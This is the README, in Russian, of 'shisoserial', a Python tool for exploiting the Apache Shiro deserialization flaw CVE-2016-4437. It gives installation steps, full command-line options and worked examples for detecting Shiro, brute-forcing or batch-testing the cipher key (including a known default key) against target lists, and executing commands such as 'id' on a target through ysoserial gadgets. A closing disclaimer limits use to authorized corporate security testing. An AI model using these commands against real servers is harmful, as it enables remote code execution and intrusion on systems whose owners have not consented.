shisoserial

English Document

Что это?

Быстрый инструмент для эксплуатации уязвимости десериализации Shiro (CVE-2016-4437)

Участники

4nth0ny @Лаборатория пятницы

Принимаются issues/PR

:)

Окружение

• python 3.x

• JDK 1.8

Установка

python3 -m pip install -r requirements.txt

для AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' или No module named 'Crypto'

python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome

Использование

usage: shisoserial.py [-h] --mode MODE --url  [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]

This is a simple tool to attack framework shiro with ysoserial

optional arguments:
  -h, --help            show this help message and exit
  --mode MODE, -m MODE  check/crack/yso/echo/encode
  --url , -u            Target URL address or the file containing the target URL
  --type default:CBC, -t default:CBC
                        Cipher Type, GCM or CBC
  --data , -d           Using this parameter will make HTTP request with POST method
  --key , -k            Specify a Shiro Key or will use dictionary brute force cracking
  --gadget , -g         Specific Ysoserial Gadget
  --command default:whoami, -c default:whoami
                        Specific Execute Command
  --proxies , -p        Specific Proxy
  --ser , -s            Specific serialize file name
  --thread , -T         Specific the number of threads

Примеры

Проверить, использует ли цель фреймворк Shiro (по умолчанию CBC-шифрование)

python3 shisoserial.py -m check -u http://127.0.0.1:8080

Использовать прокси и CBC-шифрование для подбора ключа Shiro цели

python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/

Использовать гаджет CommonsCollectionsK1 для выполнения команды и получения результата

python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id

Пакетная проверка указанного ключа Shiro с использованием POST-запросов

python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1

Использовать файл сериализованных данных для создания полезной нагрузки и отправки с многопоточностью

python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4

Отказ от ответственности

Данный инструмент предназначен только для использования в корпоративной безопасности при наличии законного разрешения. При использовании данного инструмента вы должны убедиться, что все ваши действия соответствуют местным законам. Если вы совершаете какие-либо незаконные действия при использовании данного инструмента, вы несете полную ответственность за все последствия. Все разработчики и участники данного инструмента не несут никакой юридической или сопутствующей ответственности. Если вы не прочитали, полностью не поняли и не приняли все условия данного соглашения, пожалуйста, не устанавливайте и не используйте инструмент. Использование инструмента или любое другое явное или подразумеваемое выражение согласия с данным соглашением считается вашим согласием с его условиями.